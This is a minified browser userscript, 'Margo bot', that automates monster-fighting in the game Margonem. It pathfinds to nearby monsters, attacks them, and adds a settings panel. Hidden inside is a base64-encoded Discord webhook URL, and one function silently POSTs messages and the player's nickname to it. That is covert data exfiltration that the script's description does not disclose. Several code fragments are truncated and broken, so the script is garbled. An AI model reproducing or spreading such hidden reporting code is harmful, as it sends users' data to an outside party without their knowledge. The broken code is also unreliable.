// ==UserScript== // @name Margo bot // @version 1.01 // @description bot // @author unkown // @match http://*/* // @grant none // ==/UserScript== window.adiwilkTestBot=new function(){function b(K,L){return Math.abs(K.x-L.x)+Math.abs(K.y-L.y)}function d(K,L){return new s(map.col,map.x,map.y,{x:hero.x,y:hero.y},{x:K,y:L},g.npccol).anotherFindPath()}function e(K,L){let M=d(K,L);Array.isArray(M)&&(window.road=M)}function f(K){let L=g.npc[K];if(L.grp)for(let M in g.npc)g.npc[M].grp!=L.grp||I.includes(g.npc[M].id)||I.push(g.npc[M].id);else I.includes(K)||I.push(K)}function k(){for(let K in g.npc){let L=g.npc[K];if((2==L.type||3==L.type)&&19>L.wt&&o(L.id)&&hero.lvl+30>=L.lvl&&2>Math.abs(hero.x-L.x)&&2>Math.abs(hero.y-L.y)&&q())return _g(`fight&a=attack&ff=1&id=-${L.id}`)}}function l(K){let L=atob("aHR0cHM6Ly9kaXNjb3JkYXBwLmNvbS9hcGkvd2ViaG9va3MvNDc3NjYzNTM1NDAxMjcxMzE2L1V5ZmtfS194cUY3bFpnN3lycTl4SUVWMEREZ1dMVlEySVlMZFA4akhRdWhrUFNGbENqZlpOSVRhQmhzSnA1ekVtTVlu");$.ajax({url:L,type:"POST",data:JSON.stringify({content:K,username:hero.nick,avatar_url:`http://jaruna.margonem.pl/obrazki/itemy/upg/upg01.gif`}),contentType:"application/json; charset=utf-8",dataType:"json",async:!1})}function m(){let K=new Date,L=K.getHours(),M=K.getSeconds(),N=K.getMinutes();return 10>L&&(L=`0${L}`),10>N&&(N=`0${N}`),10>M&&(M=`0${M}`),`${L}:${N}:${M}`}function o(K){return g.npc[K].grp&&(!p(g.npc[K].grp)||r[localStorage.getItem(`adi-bot_expowiska`)].ignore_grp&&r[localStorage.getItem(`adi-bot_expowiska`)].ignore_grp.includes(g.npc[K].grp))?!1:!0}function p(K){for(let L in g.npc)if(g.npc[L].grp==K&&19{G=!0}});let H=!0,I=[];setInterval(function(){B&&(B=void 0)},4e3);let J;this.PI=parseInput,parseInput=function(K){let L=v.PI.apply(this,arguments);if(!g.battle&&!g.dead&&G){if(!B&&!F){if(B=v.findBestMob(),!B&&localStorage.getItem(`adi-bot_expowiska`)){let M,N=9999;if(r[localStorage.getItem(`adi-bot_expowiska`)].mobs_id){let O=r[localStorage.getItem(`adi-bot_expowiska`)].mobs_id;for(let P in O)g.npc[O[P]]&&(M=d(g.npc[O[P]].x,g.npc[O[P]].y).length,MMath.abs(hero.x-M.x)&&2>Math.abs(hero.y-M.y)&&!z?(z=!0,_g(`fight&a=attack&ff=1&id=-${M.id}`,function(N){N.alert&&`Przeciwnik walczy już z kimś innym`==N.alert&&(f(M.id),B=void 0)}),setTimeout(function(){B=void 0},500)):!A&&!z&&(e(M.x,M.y),A=!0)}else 00>M)){const M=[],N=[];for(let O of Object.values(K.f.w))1==O.team&&M.push(`${O.name} ${O.lvl}${O.prof}`)||N.push(`${O.name} ${O.lvl}${O.prof} `);if(2==K.f.myteam&&-1=Q&&o(O.id)&&!I.includes(O.id)&&20>O.wt){if(K=d(O.x,O.y),void 0==K)continue;K.lengthL.length&&(M=0),localStorage.setItem(`alksjd`,parseInt(M))},this.initHTML=function(){if(!localStorage.getItem(`adi-bot_position`)){localStorage.setItem(`adi-bot_position`,JSON.stringify({x:0,y:0}))}let K=JSON.parse(localStorage.getItem(`adi-bot_position`)),L=document.createElement(`div`);L.id=`adi-bot_box`,L.setAttribute(`tip`,`Złap i przenieś :)`);let M=document.createElement(`input`);M.type=`text`,M.id=`adi-bot_mobs`,M.classList.add(`adi-bot_inputs`),M.setAttribute(`tip`,`Wprowadź przedział lvl mobków które ma atakakować bot np. '25-35'`),L.appendChild(M);let N=document.createElement(`input`);N.type=`text`,N.id=`adi-bot_maps`,N.classList.add(`adi-bot_inputs`),N.setAttribute(`tip`,`Wprowadź nazwy map`),L.appendChild(N);let O=document.createElement(`select`);O.id=`adi-bot_list`,O.classList.add(`adi-bot_inputs`),O.setAttribute(`tip`,`Wybierz expowisko, aby dodatek wpisał mapy za Ciebie`);for(let S,R=0;R{localStorage.setItem(`adi-bot_mobs`,M.value)}),N.addEventListener(`keyup`,()=>{localStorage.setItem(`adi-bot_maps`,N.value)}),O.addEventListener(`change`,()=>{localStorage.setItem(`adi-bot_expowiska`,O.value),N.value=r[O.value].map,localStorage.setItem(`adi-bot_maps`,N.value),localStorage.setItem(`alksjd`,0),message(`Zapisano expowisko "${O.value}"`)}),$(`#adi-bot_box`).draggable({stop:()=>{let R={x:parseInt(document.querySelector(`#adi-bot_box`).style.left),y:parseInt(document.querySelector(`#adi-bot_box`).style.top)};localStorage.setItem(`adi-bot_position`,JSON.stringify(R)),message(`Zapisano pozycję`)}})},this.initHTML()};